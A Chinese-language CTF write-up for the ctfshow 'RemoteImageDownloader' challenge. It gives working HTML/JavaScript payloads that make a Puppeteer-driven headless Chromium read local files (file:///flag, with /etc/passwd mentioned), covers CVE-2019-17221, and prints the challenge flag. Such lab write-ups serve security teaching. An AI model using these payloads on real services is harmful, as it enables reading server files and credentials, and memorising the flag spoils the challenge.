ctfshow—web 36D杯 RemoteImageDownloader 📅 2026/7/26 6:41:38 RemoteImageDownloader wp本地创建html文件内容是script var xhr new XMLHttpRequest(); xhr.onload function(){ document.body.innerText xhr.responseText; } xhr.open(GET,file:///flag); xhr.send(); /script本地cmd scp传给服务器scp 1.html ubuntuip:/home/ubuntu进入服务器把文件转移到可以访问的/var/www/html/目录sudo mv 1.html /var/www/html/进入题目url输入 http://服务器ip/1.html靶机会拉取html内容解析其中js语句访问本地服务器的/flag然后flag内容生成页面截图返回给本地拿到flagflagctfshow{5c4f53b9-2d9d-4ca9-afe3-4c7da0cc687b}本题原理Node.js Puppeteer访问本地文件无头 Chromium漏洞成因Puppeteer 访问本地服务器文件取决于 Chromium 启动参数是否添加 --disable-file-system,不加网页 JS 可以请求 file://加上直接拦截file://请求漏洞执行过程后端接收用户传入 URL调用 Puppeteer page.goto(你自己的网页地址)浏览器加载远程 HTML执行页面内嵌 JS页面内 JSXHR发起 file:///flag 请求靶机 Chromium 启动参数未限制 file 协议访问允许 HTTP 源页面内 AJAX 读取本地文件内容渲染在当前页面程序等待渲染完成后截图返回图片。expscript var xhr new XMLHttpRequest(); xhr.onload function(){ document.body.innerText xhr.responseText; } xhr.open(GET,file:///flag); xhr.send(); /script与之相关的漏洞CVE-2019-17221puppeteer低版本允许导航条跳转后访问本地文件依赖 Puppeteer 代码缺陷低版本才存在后续版本官方修复即使不开启 --disable-file-system跳转 file:// 也会被拦截。PhantomJS 是旧的 WebKit 无头浏览器早已停止维护CVE-2019-17221Puppeteer 1.19.0漏洞原理标准描述攻击者可控传入 URL 给后端 page.goto(attacker_url)攻击者网页内通过 JS 执行 window.location file:///etc/passwd旧版 Puppeteer 在导航跳转后依然允许访问 file://从而读取服务器本地文件。expexp !DOCTYPE html html script window.location.hreffile:///flag; /script /html